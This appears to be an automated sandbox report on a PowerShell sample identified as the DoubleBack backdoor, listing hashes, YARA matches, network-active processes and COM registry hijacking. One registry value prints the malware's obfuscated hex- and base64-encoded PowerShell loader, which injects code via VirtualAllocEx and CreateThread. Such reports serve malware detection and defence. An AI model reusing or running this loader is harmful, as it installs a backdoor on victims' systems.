Analysis
-
max time kernel
78s -
max time network
162s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
25-08-2021 14:49
Static task
static1
Behavioral task
behavioral1
Sample
work.ps1
Resource
win7v20210410
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
work.ps1
Resource
win10v20210408
0 signatures
0 seconds
General
-
Target
work.ps1
-
Size
1.4MB
-
MD5
7ba4b5c5d3e3276a3cfe8d581cf7173b
-
SHA1
79ba87b46562e75f097c1b6d23d3b63b9160bbaa
-
SHA256
73737bf28fa00ea1380bf98a76f6c2ff34bf25e8b489750acccc45df8e898022
-
SHA512
ccccc4402edc1c333f2b11955b4c2850f5b68674e473d57521cb009e2047a46f9c57c0151b9191d4a2e3b10931723d0191bba9b299ffb3bb293ff7d6f83598c6
Score
10/10
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 2 IoCs
resource yara_rule behavioral1/memory/472-84-0x000000001A910000-0x000000001A919000-memory.dmp family_doubleback_x64 behavioral1/memory/472-85-0x0000008800000000-0x000000880000C000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
flow pid Process 6 472 powershell.exe 9 896 msiexec.exe 11 896 msiexec.exe 12 896 msiexec.exe -
Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{10061107-1208-1309-130A-000B010C020D}\CLSID\ = "{05100611-0712-0813-0913-0A000B010C02}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\TreatAs powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02} powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\ProgID\0C02 = 66756e6374696f6e206f74367b706172616d28247769302c246a733529206965782874613320274a4764354d7a31485a5851745358526c625642796233426c636e5235494331515958526f49435233615441674c5734674a4739704e6e78545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b62326b324f79527a61444d394b43526e65544e624d7a4a644b7967794b79677a4b7a49344b536b704f79416b62474d785053526e65544e624a484e6f4d7934754b43527a61444d724d7a45705854736757324679636d463558546f36556d56325a584a7a5a53676b62474d784b54736b5a336b7a5055646c6443314a6447567455484a766347567964486b674c564268644767674a4864704d4341746269416b616e4d3166464e6c6247566a64433150596d706c593351674c555634634746755a4642796233426c636e523549435271637a55374a484e6f4d7a313749435276644459394d4334754d6a55314f7a41754c6a49314e58776c6579416b634738785053676b634738784b79527664445a624a4639644b795273597a46624a46386c4a47786a4d53354d5a57356e644768644b53556f4d5451304b7a45784d696b374943527664445a624a4639644c43527664445a624a4842764d5630394a4739304e6c736b634738785853776b6233513257795266585342394944736b5a336b7a664356374a474a734d7a306f4a474a734d7973784b53556f4b43677a4b7a45704b7a45314f436b724f5451704f79416b6458457a5053676b6458457a4b79527664445a624a474a734d3130704a53676f4d7a51354c546b7a4b536b374943527664445a624a474a734d3130734a4739304e6c736b6458457a5854306b623351325779523163544e644c43527664445a624a474a734d3130374a463874596e68766369527664445a624b43527664445a624a474a734d3130724a4739304e6c736b6458457a58536b6c4b444d314e53306f4d546b314c546b324b536c6449483067665341374a48646b4e5341394943676d4943527a61444e385a6d39795a57466a61433176596d706c593352374a3373774f6c6779665363674c5759674a46386766536b74616d39706269416e4a7a73674b43516f5a6d39794b43526962444d394d44736b596d777a494331736443416b643251314c6b786c626d64306144736b596d777a4b7a30794b58736757324e76626e5a6c636e52644f6a705562304a356447556f4a48646b4e53355464574a7a64484a70626d636f4a474a734d7977794b53776f4b4367784d4330784b5373334b536b70494830704b513d3d27297d66756e6374696f6e207163307b706172616d2824736834295b53797374656d2e546578742e456e636f64696e675d3a3a555446382e476574537472696e67285b436f6e766572745d3a3a46726f6d426173653634537472696e67282473683429297d200a66756e6374696f6e20616b307b706172616d2824696d302c24756d382c2476683829206965782873713620274a486c344d443162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a486c344d4335455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a476c744d436b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a486c344d4335455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b645730344c435270625441704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f7952356544417551334a6c5958526c56486c775a53677027297d66756e6374696f6e20707a337b706172616d282472613329206965782863783520274a48526e4e443162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a48526e4e4335455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a484a684d796b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a48526e4e4335455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b596e59324c43527959544d704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f7952305a7a517551334a6c5958526c56486c775a53677027297d66756e6374696f6e206e6a397b706172616d28246a623429206965782861653120274a4735324d44306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b613251775055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b626e59774c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4735324d4335485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a47746b4d43776b616d49304b536b3d27297d66756e6374696f6e20766d337b706172616d28247368342c24726c3129206965782871633020274a474e694e6a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a474e694e6935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a484e6f4e436b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a474e694e6935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b636d77784c43527a614451704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f79526a596a597551334a6c5958526c56486c775a53677027297d2066756e6374696f6e207279307b706172616d28247368342c24726c312c2462763229206965782871633020274a4735364e5431485a5851745358526c625642796233426c636e5235494331515958526f4943527a614451674c5734674a474a324d6e78545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b596e59794f79527a636a6b394b435275656a56624d7a4a644b7967794b79677a4b7a49344b536b704f79416b6547597950535275656a56624a484e794f5334754b43527a636a6b724d7a45705854736757324679636d463558546f36556d56325a584a7a5a53676b654759794b54736b626e6f315055646c6443314a6447567455484a766347567964486b674c564268644767674a484e6f4e4341746269416b636d777866464e6c6247566a64433150596d706c593351674c555634634746755a4642796233426c636e523549435279624445374a484e794f5431374943526a625455394d4334754d6a55314f7a41754c6a49314e58776c6579416b646d30355053676b646d30354b79526a625456624a4639644b7952345a6a4a624a46386c4a48686d4d69354d5a57356e644768644b53556f4d5451304b7a45784d696b374943526a625456624a4639644c43526a625456624a485a744f5630394a474e744e56736b646d30355853776b5932303157795266585342394944736b626e6f31664356374a47747a4e6a306f4a47747a4e6973784b53556f4b43677a4b7a45704b7a45314f436b724f5451704f79416b624745315053676b624745314b79526a625456624a47747a4e6c30704a53676f4d7a51354c546b7a4b536b374943526a625456624a47747a4e6c30734a474e744e56736b624745315854306b5932303157795273595456644c43526a625456624a47747a4e6c30374a463874596e68766369526a625456624b43526a625456624a47747a4e6c30724a474e744e56736b6247453158536b6c4b444d314e53306f4d546b314c546b324b536c6449483067665341374a4739754d7941394943676d4943527a636a6c385a6d39795a57466a61433176596d706c593352374a3373774f6c6779665363674c5759674a46386766536b74616d39706269416e4a7a73674b43516f5a6d39794b435272637a59394d44736b61334d32494331736443416b6232347a4c6b786c626d64306144736b61334d324b7a30794b58736757324e76626e5a6c636e52644f6a705562304a356447556f4a4739754d79355464574a7a64484a70626d636f4a47747a4e6977794b53776f4b4367784d4330784b5373334b536b70494830704b513d3d27297d2066756e6374696f6e206c68367b706172616d282473683429206965782871633020274a4852314d54306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b5a48557a5055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b644855784c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4852314d5335485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4752314d79776b633267304b536b3d27297d66756e6374696f6e206366327b706172616d28247a63362c24667a382920696578286d6f3720274a474e724d443162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a474e724d4335455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a48706a4e696b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a474e724d4335455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b5a6e6f344c435236597a59704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f79526a617a417551334a6c5958526c56486c775a53677027297d66756e6374696f6e207278397b706172616d28246661332c246162322c24697331292069657828766f3120274a4739714e7a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a4739714e7935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a475a684d796b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a4739714e7935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b595749794c43526d59544d704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f795276616a637551334a6c5958526c56486c775a53677027297d66756e6374696f6e206b69387b706172616d2824776a372c247176322c246972392920696578287a703220274a4756794d6a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b64474d335055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b5a5849794c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4756794d6935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a48526a4e79776b64326f334b536b3d27297d246e7a353d727930202871633020276147746a645470636332396d64486468636d56635932786863334e6c6331784454464e4a524678374d4455784d4441324d5445744d4463784d6930774f44457a4c5441354d544d744d4545774d4442434d444577517a4179665678575a584a7a615739755357356b5a58426c626d526c626e5251636d396e5355513d272920273043303227202730353130273b66756e6374696f6e206e61387b706172616d28246f7a302c24706a322c24736b3829206965782863793920274a48706c4d54306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b656e51355055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b656d55784c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a48706c4d5335485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4870304f53776b62336f774b536b3d27297d66756e6374696f6e206569367b706172616d28246575382920696578286e6f3520274a486c724d543162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a486c724d5335455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a4756314f436b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a486c724d5335455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b5a574d784c43526c645467704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f795235617a457551334a6c5958526c56486c775a53677027297d66756e6374696f6e207174337b706172616d28246362352c246777302920696578286e6a3720274a4768754d7a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b62476b7a5055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b6147347a4c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4768754d7935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4778704d79776b593249314b536b3d27297d66756e6374696f6e206a6b367b706172616d28246e7a352c246b66362c246370392c2468633929206965782871633020274a474e744e54316255336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b3168636e4e6f595778644f6a70485a5852455a57786c5a3246305a555a76636b5a31626d4e306157397555473970626e526c6369676f624767324943645761584a30645746735157787362324e46654363704c43683262544d675143686253573530554852795853786253573530554852795853786253573530554852795853786261573530585378626157353058536b6f57306c7564484230636c30704b536b75615735326232746c4b4330784c4441734a47746d4e69776f4e7a67324e43736f4b444d784d7a63724d6a59334f436b744d544d354d536b704c43526f597a6b704f31745465584e305a573075556e567564476c745a53354a626e526c636d397755325679646d6c6a5a584d755457467963326868624630364f6b646c6445526c6247566e5958526c526d3979526e5675593352706232355162326c75644756794b436873614459674a314a3062453176646d564e5a573176636e6b6e4b53776f646d307a4945416f57306c7564464230636c307357324a3564475662585630735731564a626e517a4d6c30704b46744a626e527764484a644b536b704c6d6c75646d39725a53676b593230314c435275656a55734a47746d4e696b374a474e744e54314f5a58637454324a715a574e3049464e356333526c6253354a626e5277644849674c5546795a3356745a57353054476c7a6443416b4b43526a625455755647394a626e51324e4367704b79526a63446b704f31745465584e305a573075556e567564476c745a53354a626e526c636d397755325679646d6c6a5a584d755457467963326868624630364f6b646c6445526c6247566e5958526c526d3979526e5675593352706232355162326c75644756794b436873614459674a304e795a5746305a56526f636d56685a4363704c43683262544d675143686253573530554852795853786256556c7564444d795853786253573530554852795853786253573530554852795853786256556c7564444d7958537862535735305548527958536b6f57306c7564484230636c30704b536b75615735326232746c4b4441734d43776b593230314c4441734d4377774b54745464474679644331546247566c634341746379416f4e446b774d6930794d5445304b513d3d27297d66756e6374696f6e206e66347b706172616d28247172332c2474663529206965782871753720274a4731334d7a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a4731334d7935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a4846794d796b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a4731334d7935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b644759314c435278636a4d704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f795274647a4d7551334a6c5958526c56486c775a53677027297d6a6b3620246e7a3520246e7a352e6c656e677468202832353733332d2831383938392d39323238292920282836382b3230292d32342966756e6374696f6e206a75387b706172616d282467643229206965782878653320274a48526d4e4431485a5851745358526c625642796233426c636e5235494331515958526f4943526e5a4449674c5734674a47706d4d3378545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b616d597a4f795269636a6b394b4352305a6a52624d7a4a644b7967794b79677a4b7a49344b536b704f79416b63476735505352305a6a52624a474a794f5334754b435269636a6b724d7a45705854736757324679636d463558546f36556d56325a584a7a5a53676b634767354b54736b644759305055646c6443314a6447567455484a766347567964486b674c564268644767674a47646b4d6941746269416b6133417966464e6c6247566a64433150596d706c593351674c555634634746755a4642796233426c636e523549435272634449374a474a794f5431374943527762544d394d4334754d6a55314f7a41754c6a49314e58776c6579416b62486f345053676b62486f344b79527762544e624a4639644b79527761446c624a46386c4a48426f4f53354d5a57356e644768644b53556f4d5451304b7a45784d696b374943527762544e624a4639644c43527762544e624a4778364f4630394a4842744d31736b62486f345853776b6347307a57795266585342394944736b64475930664356374a474e724e6a306f4a474e724e6973784b53556f4b43677a4b7a45704b7a45314f436b724f5451704f79416b65586f315053676b65586f314b79527762544e624a474e724e6c30704a53676f4d7a51354c546b7a4b536b374943527762544e624a474e724e6c30734a4842744d31736b65586f315854306b6347307a57795235656a56644c43527762544e624a474e724e6c30374a463874596e68766369527762544e624b43527762544e624a474e724e6c30724a4842744d31736b65586f3158536b6c4b444d314e53306f4d546b314c546b324b536c6449483067665341374a4856794e7941394943676d49435269636a6c385a6d39795a57466a61433176596d706c593352374a3373774f6c6779665363674c5759674a46386766536b74616d39706269416e4a7a73674b43516f5a6d39794b43526a617a59394d44736b59327332494331736443416b645849334c6b786c626d64306144736b593273324b7a30794b58736757324e76626e5a6c636e52644f6a705562304a356447556f4a4856794e79355464574a7a64484a70626d636f4a474e724e6977794b53776f4b4367784d4330784b5373334b536b70494830704b513d3d27297d powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\ProgID\ = "{10061107-1208-1309-130A-000B010C020D}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{05100611-0712-0813-0913-0A000B010C02}\LocalServer powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{10061107-1208-1309-130A-000B010C020D} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\ = "{10061107-1208-1309-130A-000B010C020D}" powershell.exe Key created 